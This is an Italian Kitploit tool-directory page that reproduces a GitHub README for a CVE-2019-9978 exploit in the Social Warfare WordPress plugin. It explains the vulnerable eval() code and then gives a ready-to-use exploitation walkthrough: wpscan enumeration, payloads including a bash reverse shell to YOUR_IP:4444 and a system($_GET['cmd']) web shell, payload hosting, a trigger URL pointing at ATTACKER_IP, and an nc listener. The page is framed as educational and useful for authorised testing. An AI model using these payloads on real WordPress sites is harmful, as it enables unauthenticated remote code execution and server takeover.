Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — Una guida completa e un exploit per CVE-2019-9978 - Esecuzione remota di codice non autenticata nel plugin WordPress Social Warfare ≤ 3.5.2. Include analisi del codice vulnerabile ed esempi di payload. | Kitploit
Strumenti/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

Una guida completa e un exploit per CVE-2019-9978 - Esecuzione remota di codice non autenticata nel plugin WordPress Social Warfare ≤ 3.5.2. Include analisi del codice vulnerabile ed esempi di payload.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
11 mese faNon ancora revisionato

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Social Warfare WordPress Plugin RCE

⚠️ AVVISO LEGALE: Questo repository è solo per test di sicurezza educativi e autorizzati. Usalo solo su sistemi che possiedi o per i quali hai un esplicito permesso scritto. L'accesso non autorizzato è illegale.


📋 Panoramica

ProprietàValore
CVE IDCVE-2019-9978
Software AffettoSocial Warfare Plugin ≤ 3.5.2 (WordPress)
Tipo di VulnerabilitàRemote Code Execution (RCE) / Remote File Inclusion (RFI)
Autenticazione Richiesta❌ No – non autenticato
Punteggio CVSS9.8 (Critico)
Corretto InVersione 3.5.3
Sfruttato in ReteSì – marzo 2019

Il plugin Social Warfare è un popolare plugin WordPress che aggiunge pulsanti di condivisione social ai siti web. Le versioni dalla 3.5.0 alla 3.5.2 contengono una vulnerabilità RCE critica che consente agli aggressori di eseguire codice PHP arbitrario sul server senza alcuna autenticazione .


a cosa serve questo plugin ?

Social Warfare è un popolare plugin WordPress che aggiunge pulsanti di condivisione social ai siti web, consentendo ai visitatori di condividere facilmente contenuti su piattaforme come:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


Analisi della Causa Radice

Il Codice Vulnerabile

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ CRITICAL MISUNDERSTANDING:
    // is_admin() only checks if the page is in /wp-admin/
    // It does NOT verify authentication or user privileges!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Step 1: Fetch remote file from user-controlled URL
    // No validation, no sanitization, no whitelist!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Step 2: Extract content between <pre> tags
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Step 3: Build PHP code string
    $array = 'return ' . $options . ';';

    // Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
        // ... rest of the migration logic
    } catch ( ParseError $e ) {
        // ... error handling
    }
}

Perché is_admin() NON è Sicurezza

La funzione WordPress is_admin() non verifica se un utente ha effettuato l'accesso o possiede privilegi di amministratore. Controlla solo se la pagina richiesta si trova nella directory /wp-admin/ :

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  Does NOT check authentication!
    //  Does NOT check user role!
}

L'ironia: Quando accedi a /wp-admin/admin-post.php, WordPress definisce WP_ADMIN = true. Questo fa sì che is_admin() restituisca true anche per richieste non autenticate, il che abilita l'esecuzione del blocco di codice vulnerabile .

ecco la vulnerabilità !

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

Il plugin aveva una funzione "debug" nascosta che doveva aiutare gli sviluppatori a caricare file di configurazione da URL esterni. Tuttavia, questa funzione aveva un difetto fatale: scaricava qualsiasi file da un URL fornito dall'utente ed eseguiva qualunque codice trovasse al suo interno — senza chiedere il permesso o verificare che l'utente fosse autorizzato.

L'exploit è semplice:

Un attaccante ospita un file dannoso sul proprio server, dice al plugin di scaricarlo e il plugin esegue ciecamente il codice dell'attaccante sul sito della vittima. Poiché il plugin non richiede di avere effettuato l'accesso per attivare questa funzione, chiunque conosca l'URL può impossessarsi del sito web.

Pensala così: Immagina una guardia di sicurezza che apre qualsiasi porta quando dici "debug mode" — senza verificare se lavori lì o se hai un badge. È esattamente quello che faceva questa vulnerabilità

l'exploit deve essere scritto tra 2 tag <pre></pre>.


💀 Guida allo Sfruttamento

Passo 1: Identifica il bersaglio vulnerabile oppure installa WordPress e questo plugin, quindi segui i passaggi

Usa WPScan per identificare la versione del plugin Social Warfare :

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare versione del plugin ≤ 3.5.2

se lo hai installato da solo, non dimenticare di attivare il plugin dal pannello di amministrazione.


Passo 2: Crea il file del payload

Crea payload.txt con il payload desiderato e poi avvia un server per servire quel payload.

payload di esempio :

Payload di Test (Verifica RCE):

root@kitploit:~
<pre>phpinfo();</pre>

test out-of-bound:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Reverse Shell Linux:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

Esecutore di Comandi Interattivo:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

Passo 3: Ospita il Payload

Avvia un server HTTP Python per ospitare il tuo payload:

root@kitploit:~
python3 -m http.server 8000

Il tuo payload è ora accessibile all'indirizzo: http://YOUR_IP:8000/payload.txt

se usi localhost:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

dopo aver effettuato la richiesta dal codice vulnerabile dovresti vedere un codice di stato 200 :

sc3


Passo 4: Attiva l'Exploit

Opzione A – Attivazione Manuale:

Visita questo URL nel tuo browser oppure usa curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

di nuovo, se usi localhost:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

Passo 5: Cattura la Reverse Shell (Per i Payload di Reverse Shell)

root@kitploit:~
nc -lvnp 4444

Se ha successo, otterrai una shell!


Risultati:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


Happy Hacking! 🚀

Scarica lo strumento